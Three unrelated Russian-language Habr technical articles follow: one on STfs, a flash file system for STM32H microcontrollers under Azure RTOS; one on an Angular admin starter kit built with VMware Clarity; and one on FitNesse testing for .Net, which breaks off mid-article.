Это продолжение развития открытого проекта [платы контроллера резервного питания BACKPMAN v2.0](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0). Вот [тут](https://habr.com/ru/post/578940/) и [тут](https://habr.com/ru/post/582742/) написано как началась разработка [BACKPMAN v2.0](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0). Движение идет по пути наращивания функциональности. Поэтому представленный здесь следующий проект с пафосным названием [Example2](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/tree/main/Software/Azure_RTOS_Example2) является продолжением проекта [Example1](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/tree/main/Software/Azure_RTOS_Example1) с некоторым рефакторингом и c демонстрацией линейной файловой системы [STfs](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/tree/main/Software/Azure_RTOS_Example2/App/STfs) (не расшифровывается, просто префикс в сорсах).
### Истоки STfs
Выше упомянул апноут от ST. На самом деле там все довольно угловато. Главная функция записи там может записывать только 2-х байтными словами сопровождаемыми тэгом под называемым виртуальный адрес. Что делать если надо сохранять структуры или не выровненные блоки неясно.
Как вариант - просто записывать все это во Flash по фиксированным адресам, макросам обеспечивая бесконфликтную упаковку. Потом чуть усложнить и организовать циклический сдвиг всего по сектору при перезаписи, чтобы выровнять износ Flash. Тут появляются зачатки API. И естественным образом мысль приходит к файловой абстракции. Один шаг остается до реализации API имитирующего обычную файловую систему.
Источником вдохновения послужила файловая система из среды Keil для SPI Flash. Но там все аскетично и нет поддержки RTOS.
В предыдущих статьях было описано портирование Azure RTOS, и STfs использует сервисы этой RTOS. Как любая файловая система STfs не предоставляет жесткого детерминизма. Поэтому чтобы внедрить ее в среду задач с жестким реальным временем приходится использовать RTOS. Однако количество сервисов требующихся файловой системе от RTOS невелико, и портирование её на другую операционку не должно вызывать проблем.
### Почему всё не так просто с STM32Hxxx
Особенностью семейства STM32H является наличие механизма контроля и исправления целостности блоков внутренней Flash памяти и разбивка Flash на стираемые секторы сравнительно большого размера. Конкретно у STM32H753VIH цельные блоки имеют размер 32 байта, а минимальные стираемые секторы 128 Кбайт. Т.е. можно записывать за одну итерацию во Flash только блоками по 32 байта называемыми Flash word, не больше и не меньше, только один раз в одно место после последнего стирания, но стирать можно только блоками по 128 Кбайт. Если попытаться повторно записать что-то во Flash, даже если это будет один байт и он просто поменяет один бит с 1 на 0, то 32-байтный блок, на который придется такая запись, будет с высокой вероятностью обозначен системой как сбойный и последующее чтение в границах этого блока вызовет ошибку доступа к шине и вызов исключения BusFault, которое нарушит ход выполнения программы. И такое поведение никак отключить нельзя. Т.е. после некорректной записи всего в один байт в системе станет недоступным блок Flash памяти размером в 32 байта и его невозможно будет читать ни внутренней программой, ни с помощью отладочного адаптера, пока не будет стерт весь сектор128 Кбайт содержащий этот блок. Указанные ограничения препятствует использованию файловых систем типа [SPIFFS](https://github.com/pellepl/spiffs) или [littlefs.](https://github.com/littlefs-project/littlefs) Требуется более специфичный подход.
### Описание STfs.
Технология проста. В секторы памяти размером 128 Кб последовательно записываются данные файлов. Каждый раз при открытии файлов на запись, фиксации данных и закрытии этих файлов создаются дескрипторы и записываются в тот же сектор. Данные файлов пишутся от нижней границы сектора вверх, а дескрипторы пишутся от верхней границы сектора вниз, как показано на рисунке ниже
Способ организации файловой системы на примере одного сектораКогда данные и дескрипторы сходятся в одной точке запись переносится в следующий сектор Flash.
Ниже описание структуры дескриптора:
```
// Размер структуры дескриптора фрагмента файла - 64 байта
// Дескриптор состоит из двух 32 байтных частей.
// Вторая часть дописывается когда в дескрипторе ставится тэг(штамп) стертого файла
typedef struct
{
uint32_t file_id; // Идентификационный номер файла. Если здесь находится EMPTY_PTTRN, то это чистый блок без данных о фрагменте
int32_t start_addr; // Абсолютный адрес начала фрагмента
int32_t size; // Размер фрагмента. Запись ведется 32 байтными блоками поэтому этот размер должен быть кратным 32
uint32_t number; // Порядковый номер фрагмента, начинается с 0. В фрагменте с номером 0 хранится имя файла
int32_t data_size; // Количество данных реально записанных во фрагменте
uint32_t version; // Номер версии файла. Используется для безопасного переименования файла. По номеру версии определяется какая версия актуальна.
uint32_t reserv1[2];
} T_stfs_file_normal_descriptor;
typedef struct
{
uint32_t deleted; // Тэг удаленного файла
uint32_t reserv2[7];
} T_stfs_file_erase_descriptor;
typedef struct
{
T_stfs_file_erase_descriptor e;
T_stfs_file_normal_descriptor n;
} T_stfs_file_descriptor;
```
[Дескриптор](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/blob/31b74c9c8026863cf3c3f5f1ca9aef5159fdd6f1/Software/Azure_RTOS_Example2/App/STfs/STfs_int.h#L120) имеет размер 64 байта и состоит из двух половин по 32 байта. Это позволяет записывать дескрипторы всегда выровненными по границе 32-байтного Flash word и ровно соответствующего размера.
Дескриптор создается всегда, когда записывается имя файла и закрывается файл. Но если требуется надежно зафиксировать данные файла, а закрывать его ещё долго не придётся, то вызывают функцию [**STfs\_flush**](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/blob/31b74c9c8026863cf3c3f5f1ca9aef5159fdd6f1/Software/Azure_RTOS_Example2/App/STfs/STfs_api.c#L1894), и в этом случае также будет создан дескриптор. Т.е. дескриптор окончательно валидирует данные и они не будут потеряны после выключения питания.
При удалении файлов ничего не стирается, но только в дескрипторы файлов записывается тэг удаленных. Когда в секторе остаются только удаленные файла он автоматически стирается. Если сектора полностью заполнены и в них остались вперемешку удаленные и актуальные файлы, то существует [функция дефрагментации](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/blob/31b74c9c8026863cf3c3f5f1ca9aef5159fdd6f1/Software/Azure_RTOS_Example2/App/STfs/STfs_api.c#L947), которая переносит и дефрагментирует актуальные файлы в один или группу секторов, стирая освободившиеся сектора.
### Технические характеристики файловой системы STfs
* 32-битная линейная многозадачная для среды Azure RTOS адаптированная под 32-батное Flash word
* Размер и количество секторов произвольное. Назначается через массив секторов на этапе компиляции
* Длина имени файла не более 31 символа и не менее 1
* Количество дисков произвольное.
* Поддержки директорий нет, поддержки даты создания нет (но можно добавить).
* Есть поддержка поиска файлов по имени, по шаблону, по порядку создания.
* Количество одновременно открытых файлов на чтение произвольное. Определяется на этапе компиляции.
* Количество одновременно открытых файлов на запись не должно превышать количества секторов.
* Нельзя одновременно открывать файлы на запись и на чтение.
Как видно есть некие ограничения по сравнению с той же FAT32, но с другой стороны все что надо для встраиваемого софта малых систем все есть.
### Описание API STfs
| | |
| --- | --- |
| Название функции | Описание |
| [**STfs\_init**](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/blob/31b74c9c8026863cf3c3f5f1ca9aef5159fdd6f1/Software/Azure_RTOS_Example2/App/STfs/STfs_api.c#L728) | Инициализация файловой системы. Инициализирует драйвер Flash, проверяет целостность, форматирует если целостность нарушена |
| [**STfs\_find**](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/blob/31b74c9c8026863cf3c3f5f1ca9aef5159fdd6f1/Software/Azure_RTOS_Example2/App/STfs/STfs_api.c#L1705) | Поиск файла на виртуальном диске по строковому шаблону и получение сведений о файле |
| [**STfs\_find\_first\_file**](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/blob/31b74c9c8026863cf3c3f5f1ca9aef5159fdd6f1/Software/Azure_RTOS_Example2/App/STfs/STfs_api.c#L1816) | Поиск самого раннего файла на виртуальном диске и получение сведений о файле |
| [**STfs\_find\_next\_file**](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/blob/31b74c9c8026863cf3c3f5f1ca9aef5159fdd6f1/Software/Azure_RTOS_Example2/App/STfs/STfs_api.c#L1866) | Продолжение поиска файлов от ранних к поздним |
| [**STfs\_open**](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/blob/31b74c9c8026863cf3c3f5f1ca9aef5159fdd6f1/Software/Azure_RTOS_Example2/App/STfs/STfs_api.c#L1245) | Открытие файла на запись или чтение |
| [**STfs\_rename**](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/blob/31b74c9c8026863cf3c3f5f1ca9aef5159fdd6f1/Software/Azure_RTOS_Example2/App/STfs/STfs_api.c#L1631) | Переименование файла |
| [**STfs\_read**](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/blob/31b74c9c8026863cf3c3f5f1ca9aef5159fdd6f1/Software/Azure_RTOS_Example2/App/STfs/STfs_api.c#L1395) | Чтение данных из файла |
| [**STfs\_write**](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/blob/31b74c9c8026863cf3c3f5f1ca9aef5159fdd6f1/Software/Azure_RTOS_Example2/App/STfs/STfs_api.c#L1452) | Запись данных в файл |
| [**STfs\_setpos**](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/blob/31b74c9c8026863cf3c3f5f1ca9aef5159fdd6f1/Software/Azure_RTOS_Example2/App/STfs/STfs_api.c#L1540) | Установка позиции чтения из файла от его начала |
| [**STfs\_len**](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/blob/31b74c9c8026863cf3c3f5f1ca9aef5159fdd6f1/Software/Azure_RTOS_Example2/App/STfs/STfs_api.c#L1684) | Получение размера файла |
| [**STfs\_close**](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/blob/31b74c9c8026863cf3c3f5f1ca9aef5159fdd6f1/Software/Azure_RTOS_Example2/App/STfs/STfs_api.c#L1173) | Закрытие файла |
| [**STfs\_delete**](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/blob/31b74c9c8026863cf3c3f5f1ca9aef5159fdd6f1/Software/Azure_RTOS_Example2/App/STfs/STfs_api.c#L1197) | Удаление файла |
| [**STfs\_flush**](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/blob/31b74c9c8026863cf3c3f5f1ca9aef5159fdd6f1/Software/Azure_RTOS_Example2/App/STfs/STfs_api.c#L1894) | Фиксация записанных данных во Flash |
| [**STfs\_free\_space**](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/blob/31b74c9c8026863cf3c3f5f1ca9aef5159fdd6f1/Software/Azure_RTOS_Example2/App/STfs/STfs_api.c#L1133) | Получение информации о количестве свободного пространства на виртуальном диске |
| [**STfs\_format**](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/blob/31b74c9c8026863cf3c3f5f1ca9aef5159fdd6f1/Software/Azure_RTOS_Example2/App/STfs/STfs_api.c#L1084) | Форматирование виртуального диска. Физически просто стирание всех секторов |
| [**STfs\_check**](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/blob/31b74c9c8026863cf3c3f5f1ca9aef5159fdd6f1/Software/Azure_RTOS_Example2/App/STfs/STfs_api.c#L770) | Проверка целостности файловой системы на виртуальном диске и получение информации о системе |
| [**STfs\_defrag**](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/blob/31b74c9c8026863cf3c3f5f1ca9aef5159fdd6f1/Software/Azure_RTOS_Example2/App/STfs/STfs_api.c#L947) | Дефрагментация файловой системы |
| [**STfs\_free\_task\_cbls**](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/blob/31b74c9c8026863cf3c3f5f1ca9aef5159fdd6f1/Software/Azure_RTOS_Example2/App/STfs/STfs_api.c#L1926) | Освобождение захваченных задачей RTOS ресурсов у файловой системы. |
### Симулятор STfs на персональном компьютере
Тестировать на реальном железе логику файловой системы слишком долго и неудобно.
Поэтому была написана [программа симулятор](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/tree/main/Software/STfs_simulation) на C++ под Windows 10.
Программа включает те же исходники STfs что и рабочая версия для микроконтроллера, только слой драйвера Flash памяти был заменен на эмуляцию в оперативной памяти компьютера. Но при этом эмулятор строго проверяет все ограничения по размеру и выравниванию записываемых данных и чистоте целевой области записи. Был создана функция тестовой записи и считывания файлов с регулярной проверкой целостности и дефрагментацией по необходимости.
Все записи, считывания производятся на основе генератора случайных чисел. Каждый 10-й файл не удаляется для имитации фрагментации. Если дефрагментация не удаётся, то чтобы не прерывать тест производится выборочное удаление более старших файлов.
Внешний вид программы симулятора STfs
Каждый пиксел в столбце отображает состояние байта в секторе. Каждый столбец это отдельный сектор. Адреса растут слева направо и снизу вверх.
Зелёным цветом обозначаются блоки данных актуальных файлов, желтым обозначаются дескрипторы актуальных файлов. Красным и тёмно-красным обозначаются блоки уделенных файлов и их дескрипторов.
Серый цвет обозначает чистые области Flash, куда еще ничего не записывалось после последнего стирания сектора. Симулятор легко проводит миллион и больше итераций, что на обычной Flash уже вызвало бы неминуемые проблемы износа. Однако такое количество итераций оправдано при поиске глубоко закопанных ошибок логики файловой системы и это сильно помогло при отладке.
Симулятор накапливает лог в котором можно просмотреть всю историю прохождения тестов.
Симулятор написан в среде Embarcadero RAD Studio 11 Alexandria. Но легко скомпилируется и на более ранних версиях, поскольку использует только минимальный набор стандартных компонентов. Подойдет триальная версия.
### И наконец скоростные характеристики STfs
Сначала об износе. Как уже писал выше выравнивание износа присуще линейным FS и это показала симуляция случайного потока записей, удалений и дефрагментаций .
Вот результат после 100 тыс. итераций теста:
| | |
| --- | --- |
| **Номер сектора** | **Количество стираний** |
| 0 | 2961 |
| 1 | 3442 |
| 2 | 3541 |
| 3 | 3941 |
| 4 | 4386 |
| 5 | 3653 |
| 6 | 3798 |
| 7 | 3166 |
Как видно цифры одного порядка. При том что предельный жизненный цикл у Flash очень размыт то более точного совпадения цифр и не требуется. Надо напомнить что в STM32H работает механизм исправления одиночных ошибок Flash и предупреждения о двойных ошибках. Т.е. пользователь имеет дополнительную возможность проактивно среагировать на износ в своем прикладном коде.
Теперь цифры измеренные на реальном микроконтроллере STM32H753VIH после 200 итераций
| | | |
| --- | --- | --- |
| **Тип операции** | **Минимальное время, мкс** | **Максимальное время, мкс** |
| Стирание сектора | 855691 | 930729 |
| Открытие файла на запись | 179 | 768 |
| Время записи файла размером 10 Кбайт | 27100 | 30742 |
| Время чтения файла размером 10 Кбайт | 25 | 203 |
| Проверка целостности файловой системы | 189 | 8983 |
### Итог
Скорость записи в файл колеблется в пределах 325...369 Кбайт в секунду. Это типичная цифра для NOR памяти и тут лучшего ожидать не приходится. Но надо отметить неплохую детерминированность.
Ложку дёгтя вносит время стирания сектора. А значит дефрагментация может затянуться до 8 сек. Это надо учитывать.
Но чтение будет идти со скоростью не менее 40 Мбайт в секунду. И этого более чем достаточно.
Все проекты хранятся [здесь](https://github.com/Indemsys/Backup-controller_BACKPMAN-v2.0/tree/main/Software). | https://habr.com/ru/post/584156/ | null | ru | null |
# Angular c Clarity Design System от VmWare
Поработав с [Angular Material 2](https://material.angular.io/), в какой то момент пришел к выводу, что продукт сыроват для полета фантазии и некоторые вещи (badge, vertical tabs, data-grid) либо реализованы с минимальным функционалом, либо [In progress, planned](https://github.com/angular/material2#in-progress-planned-and-non-planned-features).
Вечером, придя домой, начал искать что нибудь, что мог бы предложить тимлиду как альтернативу для следующего проекта. Тут то я и заметил, что [angular.io](https://angular.io) разжился табом [Resources](https://angular.io/resources). Это было пару месяцев назад.
Там среди прочих довольно таки полезных вещей, команда разработчиков Angular, добавила продукт от не менее известной компании, чьи разработки я уважаю и с щенячьим восторгом всегда рад лишний раз поковырять — VmWare. Ребята сделали весьма и весьма достойный продукт — [Clarity](https://vmware.github.io/clarity/).
Решил для себя, написать статью на тему Clarity, но просто писать обзор — не хотелось, решил сделать что то вроде starter-kit на случай если кому то понадобится быстро сделать админку. Также, будет активно использоваться [Highcharts](https://www.highcharts.com/), [Angular Flex-layout](https://github.com/angular/flex-layout) и i18n библиотека [ngx-translate](http://www.ngx-translate.com/)
Для нетерпеливых: [github](https://github.com/xeofus/ngClarity), [demo](https://ngclarity.herokuapp.com)
Говнокода много, и если встретится подобное, просьба понять, простить и написать комментарий, буду премного благодарен :)
Не буду углубляться в процесс установки Node.js, angular-cli и положу под спойлер инструкцию, на случай если кто-то только начал знакомство с Angular.
**установка node.js и angular/cli**Качаем [отсюда node.js](https://nodejs.org/en/download/) и ставим.
Выполняем команду для установки angular-cli:
```
npm install -g @angular/cli
```
после чего генерируем наш проект:
```
ng new ngClarity
```
Итак, у нас уже есть Hello World, далее необходимо подготовить среду, установить пакеты и сконфигурировать наш angular:
### Установка
Ставим пакет иконок:
```
npm install clarity-icons --save
```
Пакет с полифиллами:
```
npm install @webcomponents/custom-elements@1.0.0 --save
```
Добавляем все установленное в конфиг файл .angular-cli.json
```
"styles": [
"styles.css",
"../node_modules/clarity-icons/clarity-icons.min.css"
],
"scripts": [
"../node_modules/@webcomponents/custom-elements/custom-elements.min.js",
"../node_modules/clarity-icons/clarity-icons.min.js"
],
```
Дополняем наш Angular модулем clarity-ui:
```
npm install clarity-ui --save
```
Лезем обратно в в конфиг файл .angular-cli.json и дописываем путь к стилям clarity-ui:
```
"styles": [
"styles.css",
"../node_modules/clarity-icons/clarity-icons.min.css",
"../node_modules/clarity-ui/clarity-ui.min.css"
],
```
Ставим пакет clarity-angular:
```
npm install clarity-angular --save
```
Добавляем импорт в наш app.module.ts:
```
import { ClarityModule } from "clarity-angular";
```
И объявляем в imports:
```
@NgModule({
declarations: [
AppComponent
],
imports: [
BrowserModule,
BrowserAnimationsModule,
ClarityModule
],
providers: [],
bootstrap: [AppComponent]
})
```
Для тех кто привык обращаться только к официальной документации, [есть ссылка](https://vmware.github.io/clarity/get-started#seedProjectAngular).
### i18n
Далее, думаю стоит описать установку и настройку модуля i18n(используется библиотека [ngx-translate](http://www.ngx-translate.com/)), тут ничего необычного, но все же уделим внимание, возможно кому то понадобится:
Ставим либу:
```
npm install @ngx-translate/core --save
npm install @ngx-translate/http-loader --save
```
идем в наш app.module.ts и дополняем его импортами:
```
import {TranslateModule, TranslateLoader} from '@ngx-translate/core';
import {TranslateHttpLoader} from '@ngx-translate/http-loader';
```
имплементация http фактории, которая будет подгружать наши translations файлы:
```
export function HttpLoaderFactory(http: HttpClient) {
return new TranslateHttpLoader(http, './assets/i18n/', '.json');
}
```
создаем два файла, en.json и ru.json в директории /assets/i18n/
и ставим точку в этом деле, добавляя модуль в imports нашего @NgModule:
```
TranslateModule.forRoot({
loader: {
provide: TranslateLoader,
useFactory: HttpLoaderFactory,
deps: [HttpClient]
}
})
```
В итоге, мы имеем начальную конфигурацию ngx-translate, и теперь можем объявить в app.component.ts наш TranslationService, который будет подгружать json файлы из директории /assets/i18n
```
import {Component, OnInit} from '@angular/core';
import {TranslateService} from "@ngx-translate/core";
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit{
constructor(public translate: TranslateService){}
ngOnInit(){
this.translate.addLangs(["en", "ru"]);
this.translate.setDefaultLang('en');
let browserLang = this.translate.getBrowserLang();
if (browserLang.match( /en|ru/ )) {
this.translate.use( browserLang );
} else {
this.translate.use( 'en' );
}
}
}
```
### Роутинг
Cоздаем роутинг сервис для нашего проекта. В директории /app создаем файл **routing.module.ts** и конфигурируем наш AppRoutingModule:
```
import {NgModule}from '@angular/core';
import {Routes, RouterModule}from '@angular/router';
const appRoutes: Routes = [
{
path: '',
redirectTo: '/',
pathMatch: 'full',
}
];
@NgModule({
imports: [
RouterModule.forRoot(
appRoutes
)
],
exports: [
RouterModule
]
})
export class AppRoutingModule {}
```
для инициализации, в app.module.ts, добавляем импорт AppRoutingModule в наш @NgModule.
### Компоненты
Создаем три пустых пока что компонента: DashboardComponent, SettingsComponent и PageNotFoundComponent. Внутри app создаем директорию pages, и из под нее запускаем:
```
ng generate component dashboard
ng generate component settings
ng generate component pageNotFound
```
наш angular/cli создаст три директории с указанными именами, создаст внутри директорий все необходимое для компонента и обновит app.module.
Иногда angular/cli может неправильно резолвить пути до файлов, и в случае возникновения ошибок, нужно перепроверить импорты и пути к файлам в app.module.
Далее, заходим в наш routing.module.ts и редактируем роуты для новоиспеченных компонентов:
```
const appRoutes: Routes = [
{
path: 'dashboard',
component: DashboardComponent,
},
{
path: 'settings',
component: SettingsComponent,
},
{
path: '',
redirectTo: 'dashboard',
pathMatch: 'full'
},
{
path: '**',
component: PageNotFoundComponent
}
];
```
Cтроим каркас нашего приложения. Заходим в app.component.html и начинаем:
```
[ngClarity](...)
{{lang}}
[{{ 'profile' | translate }}](...)
[{{ 'logout' | translate }}](...)
{{ 'dashboard' | translate }}
{{ 'settings' | translate }}
```
Останавливаться на каждом из директив не будем, для этого есть хорошо написанная документация. Каркас более менее готов, далее можно будет уже работать с компонентами.
### Highcharts
Устанавливаем труд товарища [cebor](https://github.com/cebor), который создал ангуляровскую директиву для Highcharts: [angular-highcharts](https://github.com/cebor/angular-highcharts)
```
npm install --save angular-highcharts highcharts
```
Далее, идем в наш app.module добавляем импорт и объявляем наш модуль, добавив его в imports:
```
import { ChartModule } from 'angular-highcharts';
@NgModule({
imports: [
ChartModule
]
})
```
### Flex-Layout
Теперь возьмемся за [flex-layout](https://github.com/angular/flex-layout):
```
npm install @angular/flex-layout --save
```
и по традиции, в app.module.ts
```
import { FlexLayoutModule } from '@angular/flex-layout';
@NgModule({
imports: [
FlexLayoutModule
]
})
```
Теперь, идем в наш dashboard.component.ts объявляем импорты:
```
import * as Highcharts from 'highcharts';
import * as HichartsExporting from 'highcharts/modules/exporting';
import * as Hicharts3d from 'highcharts/highcharts-3d.js';
HichartsExporting(Highcharts);//объявляем модуль exporting
Hicharts3d(Highcharts);//объявляем модуль 3d
```
В dashboard.component.html рисуем наши блоки, где разместим графики:
```
```
и код самого компонента, в dashboard.component.ts:
```
import { Component, OnInit } from '@angular/core';
import * as Highcharts from 'highcharts';
import * as HichartsExporting from 'highcharts/modules/exporting';
import * as Hicharts3d from 'highcharts/highcharts-3d.js';
HichartsExporting(Highcharts);
Hicharts3d(Highcharts);
@Component({
selector: 'app-dashboard',
templateUrl: './dashboard.component.html',
styleUrls: ['./dashboard.component.css']
})
export class DashboardComponent implements OnInit {
constructor() { }
ngOnInit() {
Highcharts.chart('chart1', {
chart: {
type: 'column'
},
title: {
text: 'Schedules work progress'
},
credits: {
enabled: false
},
xAxis: {
categories: ['line 1', 'line 2', 'line 3', 'line 4'],
labels: {
skew3d: true,
style: {
fontSize: '16px'
}
}
},
yAxis: {
allowDecimals: false,
min: 0,
title: {
text: 'Total count',
skew3d: true
}
},
tooltip: {
headerFormat: '**{point.key}**
',
pointFormat: '{series.name}: **{point.y}** ({point.percentage:.0f}%)
```
Сейчас уже можно будет увидеть, что в итоге получилось: [demo](https://ngclarity.herokuapp.com/)
На этом, первая часть завершается. Вторая часть статьи будет более детально разбирать [компоненты Clarity](https://vmware.github.io/clarity/documentation) и реализовывать их в проекте, исходники которого здесь: [github](https://github.com/xeofus/ngClarity) | https://habr.com/ru/post/339294/ | null | ru | null |
# Применение FitNesse для .Net приложений
Привет, хабр.
Я думаю, многие из вас слышали про такую штуку, как [FitNesse](http://fitnesse.org/). Это одна из технологий тестирования, где тесты создаются как wiki-разметка (т.е. каждый тест — это web страница), и потом запускаются на определенной технологии [(Java, .Net, PowerShell и пр.)](http://fitnesse.org/PlugIns)
В этой статье я расскажу про пример использования [FitNesse](http://fitnesse.org/) для тестирования .Net приложения. И заодно покажу несколько приемов и трюков, чтобы сократить Ваше время разработки. Кстати, все эти технологии абсолютно бесплатны.
##### Как это выглядит
Как я сказал, все тесты в FitNesee выглядят как web-страницы. Весь тест можно представить как последовательность таблиц, причем каждая таблица содержит одну функцию. Но это теория, а на практике вызов функции выглядит так:
| | |
| --- | --- |
| **login as** | Some User |
Сразу поясню, что хабровские таблички выглядят растянутыми. На деле FitNesse будет их сжимать до минимального размера — см. тут: <http://fitnesse.org/FitNesse.UserGuide.TwoMinuteExample>.
В этой табличке содержится вызов метода «loginAs», который получает на вход «Some User». То есть программист реализует функцию loginAs, и далее тестировщик может её использовать. Как Вы уже поняли, имя функции — это объединенный полужирный текст. Параметры — это обычный текст. Каждая ячейка содержит только один параметр. Также каждая ячейка содержит либо полужирный текст, либо обычный.
| | | |
| --- | --- | --- |
| **login history of user** | Some User | **is** |
| **When** | **IP** |
| 05.07.2014 | 192.168.0.1 |
| 06.07.2014 | 192.168.0.1 |
В этом случае запускается уже функция LoginHistoryOfUserIs с аргументом Some User. На выходе ожидается коллекция объектов, каждый из которых имеет свойства When и IP.
Абсолютно аналогично можно подавать на вход набор объектов (например, настройки — эта табличка с парами ключ/значение).
Итого, каждый тест — это последовательность подобных таблиц. Программист создает функции, тестировщик создает с их помощью тестовый сценарий. Естественно, общие куски кода можно выделять в отдельные файлы, поддерживаются шаблоны, можно определить блоки, которые будут запускаться перед каждым тестом и т. д. Базовый функционал достаточно богатый для того, чтобы тестировать приложения (по крайней мере, бизнес логику, отдельно от UI)
##### Как запускать
Как я сказал выше, FitNesse может запускать функции на разных технологиях и языках программирования. Выглядит это следующим образом:
1. FitNesse разбирает wiki разметку, определяет, что необходимо запустить (какие web страницы)
2. FitNesse запускает выбранный Runner на требуемом языке программирования и рассказывает ему, что и как надо запускать. Причем, передается только текст, никаких объектов здесь нет
3. Runner уже знает, с какими классами он работает. Он разбирает табличку и вызывает функцию
В этой статье я буду описывать про работу на .Net платформе, поэтому все классы и функции будут из этого мира. Для того, чтобы определить Runner следует написать, во-первых, эти строчки:
!define COMMAND\_PATTERN {%m %p}
!define TEST\_RUNNER {..\binary\currentBuild\NetRunner.Executable.exe}
!path ..\binary\testBuild\NetRunner.InternalTests.dll
Первая относится к Runner'у ([в примере используется этот Runner](https://github.com/imanushin/NetRunner)). Она определяет, как FitNesse будет запускать Runner. На вход передаются все эти аргументы + системные переменные, но это уже детали.
Вторая строчка — это путь к Runner'у.
Третья строчка — это путь к dll'кам (их может быть несколько!), которые содержат ваше API. Всё просто.
А вот пример для [другого Runner'а](https://github.com/jediwhale/fitsharp/downloads):
!define TEST\_RUNNER {${working\_directory}Lib\fitsharp\Runner.exe}
!define COMMAND\_PATTERN {%m -a ${working\_directory}\MyTests.dll.config -r fitnesse.fitserver.FitServer,${working\_directory}Lib\fitsharp\fit.dll -v %p}
!path ${working\_directory}MyTests.dll
Как Вы видите, здесь я уже определил изначально переменную ${working\_directory}. И дальше, в зависимости он её значений, будут запускаться Runner'ы из разных папок и, что самое важное, тесты находятся тоже в разных папках. Такая структура очень полезна на build платформе, где зачастую может быть несколько веток, для которых идут сборки и работают тесты.
Итак, чтобы заработала вся эта система:
1. Скачиваете и запускаете FitNesse
2. Скачиваете один из Runner'ов
3. Создаете свою библиотеку, которая ссылается на библиотеки Runner'а и реализует минимальный API
4. Создаете тест, который вызывает функции вашей библиотеки
5. Запускаете его
Всё, после этого у Вас уже есть небольшой тест, который делает хоть что-то. Дальше дело за малым — улучшать качество API, увеличивать количество тестов и запускать их в процессе сборки.
##### Как создавать тестовое API?
Как Вы видите выше, создавать тесты, использующие API, крайне просто: Вы просто вызываете функции, сравниваете значения, создаете бизнес-сценарий. Естественно, что для этого необходимо качественно создавать функции для запуска, чтобы происходила «эмуляция» бизнес-действий. Ведь по сути, интеграционный тест — это обыкновенный тестировщик, который работает 24/7 и умеет очень быстро кликать мышкой.
А вот с созданием тестового API есть свои сложности. В своих примерах я буду использовать [этот Runner](https://github.com/jediwhale/fitsharp), так как он наиболее распространенный (о нем есть упоминание даже на сайте FitNesse).
Для начала следует понять, как работает этот самый fitSharp. А делает он следующие вещи:
1. Определяет список dll, которые следует запустить
2. Определяет конфигурационный файл, который следует использовать
3. Создает новый [Application Domain](http://msdn.microsoft.com/ru-ru/library/system.appdomain(v=vs.110).aspx) для тестов
4. Последовательно запускает функции, о которых его просил FitNesse
Вам же требуется создать классы, которые содержат эти самые функции для запуска. Для этого:
1. Создайте проект
2. Добавьте [этот NuGet пакет](https://www.nuget.org/packages/FitSharp/)
3. Создайте класс, который бы наследовал DoFixture. Назовите класс, например, MyTestFixture
4. Создайте какой-нибудь метод, например, public void MyTest()
5. Откройте FitNesse (я надеюсь, он у Вас уже скопирован и запущен )
6. Создайте в нем новый тест
7. Определите TEST\_RUNNER, COMMAND\_PATTERN, и !path примерно так, как я описал выше. Лучше всего используйте абсолютные пути, так для начала будет легче.
8. Добавьте таблицу со всего одной ячейкой — [namespace].MyTestFixture. Wiki текст будет выглядеть как | ''!-[namespace класса MyTestFixture].MyTestFixture-!'' |. По сути это полное имя класса.
9. Добавьте таблицу тоже с одной ячейкой — MyTest: | '''My Test''' | (кстати, регистр символов не важен)
10. Запустите тест
Если не было никаких недоработок, то тест запустится. Итак, что же мы сделали:
1. Магия с созданием классов. Дело в том, что изначально fitSharp находит только классы, которые наследуются от DoFixture. Далее он будет их создавать и запускать функции. Классы могут быть internal.
2. Объяснение FitNesse'у, что и где мы будем запускать.
3. Магия с Fixture по умолчанию. Дело в том, что fitSharp требует функции в стиле | имя класса | имя функции + аргументы |. Чаще всего все функции сложены в одном классе. Чтобы не писать его в начале каждый раз, можно его определить единожды сверху. Переопределить, к сожалению, не всегда можно (есть мнение, что это баг). И несколько тоже не определить.
4. Запуск тестовой функции. С этим всё совсем просто: какая функция была, такую и запустили.
С простыми текстами более-менее понятно. Перейдем к сложным.
###### Сложные параметры
Рассмотрим функцию LoginAs(string userLogin). Более-менее ясно, что она должна делать по смыслу — она должна входить в некую систему, а дальше тестовая среда должна работать как бы от этого пользователя. Всё логично. Однако какой же параметр передать на вход? Вариант 1 — передать просто строчку, а потом уже разбирать её. Не очень удобно, так как если у нас есть две функции: login и Get Login History, то придется повторить процедуру парсинга и пр.
